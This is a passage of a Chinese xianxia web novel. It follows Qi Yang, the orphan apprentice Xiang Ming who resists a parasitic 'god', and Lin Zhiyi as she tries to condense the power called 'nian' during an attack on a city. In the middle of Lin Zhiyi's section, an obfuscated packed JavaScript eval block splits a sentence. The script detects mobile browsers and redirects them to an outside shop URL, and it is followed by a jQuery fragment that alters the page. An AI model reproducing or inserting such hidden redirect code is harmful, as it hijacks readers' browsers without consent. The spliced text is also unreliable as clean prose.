过去的冤屈得不到声张,无端的苦难寻不到解脱,难明的悲哀却无法释怀,这会产生什么?
每一个后来者都会声称上一个被推翻的家伙是错误的、邪恶的,但每一个后来者都会不断地制造错误与邪恶,并且将其视为不可解决的惯例,最后又在时光的积蓄中矛盾重重、土崩瓦解。
毫无疑问,魇喜欢错误堆积。
道生一,一生二,当存在成为了一,自然也会诞生足以摧毁存在的那个对立面。
因此,魇是建立在错误之上的怪物。它并不能解决错误,因为它就是错误本身,是错误的具象化。
但它总是拥有着无穷尽的信徒,这些信徒将错误推广,将一切欲望放大,最后带着所有造物走向不存在。
将痛苦扩大,令一切消亡,就是魇的目的。
消灭魇的方法,除了对宿主赶尽杀绝,就是启动“念”。
“念”是什么,仙界从来没有记载,这个称呼也十分笼统,从未被普及。
当然,这也有魇几乎没有在人族历史留下名字的缘故。
祁阳当然也没听说过这两个玩意,她只是在仔细地琢磨心田内那些陌生的家伙给她提出的问题。
为什么你要拿着你珍贵的生命去拯救莫不相干之人?
这世上还有很多人需要你、在意你,你为什么要拿着自己的生命当作可以一搏的燃料?
这个问题实在是太刁钻了,几乎瓦解了祁阳所有可以脱口而出的理所当然。
她静默地坐在枯林之中,天地一时间若空无,只剩下黑色的树林哗啦呼啦地响着。
鬼魂、怪物、敌人都纷纷靠了过来,好似在审视她的行为,一旦发现差错,就要撕碎她这个错误。
她在这片枯槁的大地如坐针毡,她想要找到一个解释。
母亲为什么要将她生下来,她在生死禁的错误陷阱里从来没有得到回答。
她只知道自己死了母亲并不会回来,所以坚定闯过了生死禁。但她不知晓为什么母亲会这么做——你为什么要为我付出这么多?难道我的生命比你的重要吗?
不。在祁阳心里,就算她灰飞烟灭,她都希望那个女人能回来。
她不认识母亲,连面庞都模糊得只剩下想象,又怎么可能想得明白母亲要生下自己后枯槁而去是为了什么?
为什么她明明都枯槁将死,还要亲吻自己这个怪物和灾星的脸颊?
女孩就这么坐着,慢慢陷入梦境。
在这里,没有光。
一个孩子无助地走在漆黑的树林中,树藤们宛若森然游蛇,随时都会将她绊倒。
倏然,前方有个人举起了一点光。
这个孩子很害怕,她疯狂地往前跑,想要去追寻……
*
向明平日里话少,沉默,只留着一副没什么血色的寡白小脸和低垂的眼睛——没有人知晓他在想什么。
所以,当他因为袁魁要求他接连不断地透支自身的火灵根去炮制药材而奋起顶撞后,所有人都惊讶了。
他为什么会突然发作,袁魁想不明白,只当他找死。
几个学徒不是怀疑他疯了就是怀疑他最近受到了什么刺激不想活了,连弘刚这个爱傻笑的家伙都不理解,只表示希望袁魁师傅能早点把他放下来。
他为什么要这么做?其实,他原本没有这么做的意识。
他是个孤儿,因为战乱而被抛弃的孤儿。在战乱之地,哪怕是讨饭都是讨不到的,所以他一直是在给大户人家做奴隶,这是幸运的归宿。
他给少爷们跪下擦鞋子,给他们穿衣服,任他们打骂不敢还手,却还是要感谢他们给自己一口饭吃。
他原本相信了命,所以没什么不妥的,但仙界偏偏告诉他他还是可以修炼的,虽然天赋不高,但已经很不错了,不要在凡间住。
他懵懂地来到了仙界,望着祥云青天、高城神山,想着也许这就是“改命”。
但现实并没有给他什么改命的机会,联盟每个月免费发给散修的一枚灵石买不到任何真正的好宝贝,顶多就是住十日客栈,不至于天天睡荒郊野岭。
客栈内的药汤可不会放好货,所以把钱花在客栈是每一个来到这里的散修孩子都不会做的。
饶是如此珍惜修炼物资,人家可能十三岁都已经引气后期,大宗门弟子更是在想都不敢想的锻体期,他却还在引气境初境,坎坷得很。
为了每月多获得一枚灵石,早点有在仙界自立的能力,他又变成了奴隶。
他没有太多抱怨,因为他知晓抱怨是没有用的。他可以习惯给少爷当奴才,也可以习惯给袁魁先生当奴才。
这种习惯很常见。就像是一条常年泡在墨缸里的鱼,它是不会因为想要见到鱼缸外的世界而跳出去的——因为没见过潋滟清光。
从他因为清洗药材去了城外的河边时,他就已经在心里听到另一个声音了,也能感觉到有什么寄生在他的手臂上,但没有深入。
那个声音自称自己是神,说只要他愿意,就可以帮助他真正地改命。
“你能帮我改命?为什么?代价又是什么?”少年沉默,波澜不惊地在心底问。
他很冷静,很警惕,正如他也是这样看待世界。
奇怪的声音绝不会告诉他他的身体是个比较好的容器。它自称自己是救世主,会为他报仇,会消灭一切伤害他的人。
他觉得这很虚伪,但他还是向它伸出了手。
下一刻,他看见了血海。
他仓惶地撤手,惊恐地后退。
“没事的,这并不可怕。”对方的声音很柔和。
向明已经瞥见了某种可怕的未来,只冷漠地对它说:“你滚回你原来的位置。我不要。”
墨缸里的鱼儿再怎么没见过光,也不至于会想要从墨缸跳进血缸。
少年从梦中惊醒,却感觉到寄生在自己身体里的东西好像真的走了。
他并没有当一回事,只当之前都是自己在癔症,直到袁魁命令他透支力量去炮制药材的那天。
“我不做。”
“怎么?这个月的灵石不想要了?”
“炮制这么多,我的火灵根会虚透。我没办法修炼下去。”
袁魁当然知道,却冷漠地质问:“我买你这么个哑巴回来不就是为了你能用火灵?平时你办事不机灵,像个木头似的,我没赶你走,现在你还想偷懒?灵根又不会用用就碎掉,你矫情个什么?”
向明愣住,却没有办法反驳。他又在心底听见了自称神明的家伙说“比起鲜血,更可怕的不是你现在的生活?”
乍一听,这家伙说得很有道理,以至于向明渐渐听不清袁魁的声音了,他只能感觉到有什么在篡夺他的身体,而他开始破口大骂——除了大喊大叫之外,他没有别的反抗手段。
等到他的意识稍微清明些时,他已经被气急败坏的袁魁吊在树上鞭打了。
剧痛让少年无法发出声音,脑海里的家伙想要让他认清现实,想要告诉他一切都是如此无力,唯有它可以救他。
谁知向明遭受了这种伤害,却还是没有被完全寄宿。
他想要清水,透光的清水……不过他想象不出来那是什么样子的。反正不是血淋淋的。
少年被倒吊在树梢上,却对脑子里的怪东西喃喃道:“如果你要给我的就是这样的世界,我也不想要。”
“我能让你变强,变强就什么都有了。”
“……可是,我没有什么想要的,也没有什么要保护。”
“你不怕死吗?”它不解极了。
“……怕,可是,死好像比现在轻松。”向明释然地笑笑。
怪物被他奇怪至极的逻辑给击溃了,自此销声匿迹、继续潜伏。
但它又找到了机会,那就是在少年见到祁阳的那一刻。
懵懂的少年沉浸在黑色世界里,但这个世界第一次浮光掠影过了火光,那火光跑得极快,他却想要追上去。
这个孩子在疯狂地往前跑,他想要追上去,以至于他无暇的心出现了破绽!
当鱼儿想要跳出墨缸奔向光芒时,等着他的却是血池。
*
林知意是在活祭河神的沉船上被黎璃捡回来的,黎璃捡走她的理由很简单——云山的护山大阵需要阵钉,而她天资奇佳,命局宏大,适合庇佑云山。
所以她拜入了云山,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331329|191226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成了仙人的师妹。
三哥是从战场上捡回来的,四哥是从贫民窟里捡回来的,六弟和七妹也都是孤儿。
大家生活在山里,修炼、种树、招徒、买卖、积累,一步步让云山从几个人变成几百人,最后变成如今这样的大宗。
不同于三哥只想要经营好云山,对于仙界两百年前发生了什么漠不关心,她对于很多往事乃至世界的本源都带着探究的想法。
譬如说云山为什么凋落到了只剩下一个宗主,一个仙人,剩下的人连尸骨都留不下;再比如说仙界曾经靠着长久的寿命积累的大量人口为何仅仅以一句“仙魔大战两败俱伤”就全部被抹除;再比如——掌门师兄他飞升的契机是什么?他和其他大乘期修士的区别是什么?仅仅是修为更高?
这些含糊而隐晦的问题在林知意抵达了大乘境界并持续深究后得到了局部的回答。
但哪怕只是冰山一角,她所好奇的答案都如此令人难以置信,甚至于颠覆了她对于世间构成的全部认知。
林知意想到此处,终究还是抬手,将纯白的光晕一点点凝聚出来。
“哦?你知这个……我还以为云山的几位峰主都和黎璃关系不好。”黑衣女人随意地坐在屋顶。
下面已经成了血海,整座城池只剩下几处极高的建筑暂时没有被完全覆盖,但在下方,许多来不及撤退的居民已经窒息。
筑基期以上的人窒息后可能还活着,只是醒不过来,筑基期以下的再拖半刻钟就都没救了。
林知意的青色裙衫在乱风中岿然不动,正如她恬淡若高人隐士的容颜,但她的气势在节节攀升,让同为大乘期的黑衣女人都微微错愕。
“你这样显得我格外卑鄙了。”黑衣人笑望着青衣女子快速枯槁的发丝和手掌,“可惜,我并不认为你能凝聚出这玩意。”
八仙神山拿着这么多仙人遗骸研究了这么多年,对这玩意依旧是知之甚少。
若是能自己凝练,仙尊的位子根本轮不着某个非要和仙门百家对着干的家伙坐。
散修九百城已让人垂涎,更别说那家伙还把各种禁术全都抓在自己手里,将天底下绝大多数奇奇怪怪的修炼道路一次封禁。
合欢宗被他端了,傀儡门被他拆了,就连七百岁灵修老祖的灵尸控法也被他全给焚了。
灵修道路上的捷径全都被毁,一时间风气大变,人人自危。
仙人要真是这么众生平等、坚守正道,大家也不敢说什么,反正打不过。偏偏他莫名其妙地一朝继承云山,得罪人得罪一半又突然偏袒云山去了,把只剩下几个风中残烛之辈的云山给护成了现在的庞然大物。
这不就太过分了吗?
最可怕的是让他带着大家伙去把魔地端了,开疆扩土丰富资源,他偏偏就是装听不懂,始终不肯发动战争。
在她看来,这种立场莫名其妙、行为表里不一的家伙坐在这个位子两百年,简直就是仙界众修的耻辱。
林知意才不回答黑衣女人自己能不能凝出拯救这座城的“念”,只淡然道:“你应该也是掌门师兄捡回来的孩子。为什么要和他作对呢?”
黑衣人毫无愧色:“多少年的老黄历翻起来也不嫌呛?要是现在他背弃云山,你也不和他作对?”
“……的确,我们各自有各自的立场。”
她今日来此,主要是因为小峦镇靠着云山,她不希望这个地方被八仙神山拿走。
至于散修的生命,她想救,但前提是不涉及云山的利益。
林知意不再言语。她掌心的东西似乎也彻底卡住,无法被凝结。
每次她想要凝聚这个东西,就会有声音问她一些问题。
但她每次都给不出更好的回答。
大道无情,当是答案。可是哪怕是掌门师兄,也受了师父的恩,不得不待在云山。
林知意能理解他们几个兄弟姐妹无法飞升,但她不能理解为何黎璃没有因庇护云山而成为堕仙。
就在女子掌心白色光晕即将因为她的局限而湮灭之时,远方高空中的血球牢笼出现了裂隙。
奇异的力量在怪物的核心发挥作用,对抗之力被孕育。
火种,生了。